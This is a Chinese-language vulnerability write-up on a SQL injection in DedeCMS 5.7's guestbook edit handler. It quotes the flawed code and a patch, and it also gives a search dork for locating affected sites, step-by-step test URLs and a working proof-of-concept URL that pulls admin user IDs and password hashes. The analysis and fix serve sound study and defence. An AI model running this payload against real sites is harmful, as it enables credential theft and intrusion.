dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

catalog

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

1. 漏洞描述

注射漏洞成功需要条件如下

1. php magic_quotes_gpc=off2. 漏洞文件存在: plus/guestbook.php3. 在数据库中: dede_guestbook也需要存在

Relevant Link:

inurl:/plus/guestbook.php

2. 漏洞触发条件

1. http://localhost/dedecms5.7/plus/guestbook.php2. [回复/编辑]上可以看到访问者留言的ID。则记下ID，例如: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&id=13. 访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&msg='&id=14. 提交后，如果是dede5.7版本的话，会出现"成功更改或回复一条留言"，那就证明修改成功了 5. 再返回到: http://localhost/dedecms5.7/plus/guestbook.php，看下改的那条留言内容是否变为了 ’ 如果是的话，那就证明此漏洞无法再利用应为他开启: php magic_quotes_gpc=off6. 如果没有修改成功，那留言ID的内容还是以前的，那就证明漏洞可以利用。7. 那么再次访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&id=1&msg=',msg=user(),email='8. 然后返回，那条留言ID的内容就直接修改成了mysql 的user().

Relevant Link:

/dedecms/16942.html/bugs/wooyun--014501

3. 漏洞影响范围

0x1: POC

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='

Relevant Link:

/article/45492569994//Hkadmin/p/3712667.html

4. 漏洞代码分析

/plus/guestbook.php

//修改留言if($action=='admin'){include_once(dirname(__FILE__).'/guestbook/edit.inc.php');exit();}

\plus\guestbook\edit.inc.php

//这里没有判断$g_isadmin，而是错误地信任了用户的输入: action = "admin"else if($job=='editok') {$remsg = trim($remsg);//这里没有对$msg过滤，导致可以任意注入$dsql->ExecuteNoneQuery("update `#@__guestbook` set `msg`='$msg', `posttime`='".time()."' where id='$id' "); ShowMsg("成功更改或回复一条留言！",$GUEST_BOOK_POS);exit();}

Relevant Link:

/?tag=SQL%E6%B3%A8%E5%B0%84

5. 防御方法

\plus\guestbook\edit.inc.php

else if($job=='editok'){$remsg = trim($remsg);/* 验证$g_isadmin */if($remsg!=''){//管理员回复不过滤HTMLif($g_isadmin){$msg = "<div class=\\'rebox\\'>".$msg."</div>\n".$remsg; //$remsg <br><font color=red>管理员回复：</font> }else{$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");$oldmsg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n";$remsg = trimMsg(cn_substrR($remsg, 1024), 1);$msg = $oldmsg.$remsg;}}/* *//* 对$msg进行有效过滤 */$msg = addslashes($msg);/* */$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);exit();}

6. 攻防思考

Copyright (c) LittleHann All rights reserved